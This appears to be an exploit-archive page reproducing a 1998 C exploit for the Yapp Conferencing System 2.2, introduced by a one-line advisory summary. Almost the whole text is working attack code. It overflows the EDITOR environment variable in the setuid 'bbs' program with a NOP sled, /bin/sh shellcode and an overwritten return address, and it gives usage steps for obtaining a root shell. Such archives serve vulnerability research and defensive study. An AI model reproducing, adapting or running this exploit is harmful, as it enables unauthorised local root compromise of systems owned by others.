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98 lines
No EOL
3.2 KiB
C
98 lines
No EOL
3.2 KiB
C
// source: https://www.securityfocus.com/bid/365/info
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Armidale Software's Yapp Conferencing System is vulnerable to an environment variable related buffer overflow vulnerability in (at least) the Linux version. The consequence of the vulnerability being exploited is a local root compromise.
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/*
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* Exploit for "Yapp Conferencing System, Version 2.2".
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* By Dave Bowman, for Sandra, on January 13 1998.
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*
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* Description:
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*
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* The Yapp Conferencing System client handles environment variables
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* without doing bounds checking, allowing one to overflow a buffer
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* in the "bbs" executable onto the stack. Using this technique, it
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* possible to obtain a shell running as the user which Yapp is setuid
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* to (in some cases, root).
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*
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* Usage:
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*
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* bash$ gcc -o yapp_exploit yapp_exploit.c
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* bash$ ./yapp_exploit
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* bash#
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* You'll have to change the definition of "BBS_PROGRAM" in the source.
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* You may also need to alter the offset, but -1000 worked for me.
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*
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* And without further ado...
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*
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*/
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#if ! defined (__i386__) || ! defined (__linux__)
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#error Intel 80x86/Linux platform required.
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#endif
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#include <string.h>
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#include <stdlib.h>
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#include <stdio.h>
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#include <unistd.h>
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#define BUFFSIZE 512 - strlen ("EDITOR=") /* Size of buffer. */
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#define OFFSET -1000 /* Offset. */
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#define BBS_PROGRAM "/home/dave/yapp/bbs" /* Path to program. */
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/* Function which returns the base address of the stack. */
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long get_esp (void)
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{
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__asm__ ("movl %esp, %eax\n");
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}
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/* Machine code instructions to execute /bin/sh, I had them here in */
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/* global for a reason and now I just don't feel like playing with */
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/* the stack offset anymore. */
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unsigned char exec_shell [] =
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/bin/sh";
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/* Main function, duh. */
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int main (void)
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{
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unsigned char buff [518]; /* Buffer to hold our data. */
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unsigned char *ptr; /* Pointer. */
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int count; /* Counter. */
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unsigned long *address_ptr; /* Long pointer. */
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/* First we fill the buffer with NOP instructions. */
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(void) memset (buff, 0x90, sizeof (buff));
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/* Then we copy our shell code into the buffer. */
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ptr = buff;
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ptr += BUFFSIZE - strlen (exec_shell);
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for (count = 0; count < strlen (exec_shell); count++)
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*ptr++ = exec_shell [count];
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/* Now we insert our return address into ebp and eip. */
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address_ptr = (unsigned long *) &buff [509];
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for (count = 0; count < 2; count++)
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*address_ptr++ = get_esp () + OFFSET;
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/* Here we terminate the buffer as a string... */
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ptr = (unsigned char *) address_ptr;
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*ptr = '\0';
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/* And attempt to load it into our environment. */
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unsetenv ("EDITOR");
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if (setenv ("EDITOR", buff, 1)) {
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perror ("setenv");
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exit (1);
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}
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/* Finally, we execute Yapp. */
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(void) execl (BBS_PROGRAM, BBS_PROGRAM, NULL);
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perror (BBS_PROGRAM);
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exit (1);
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} |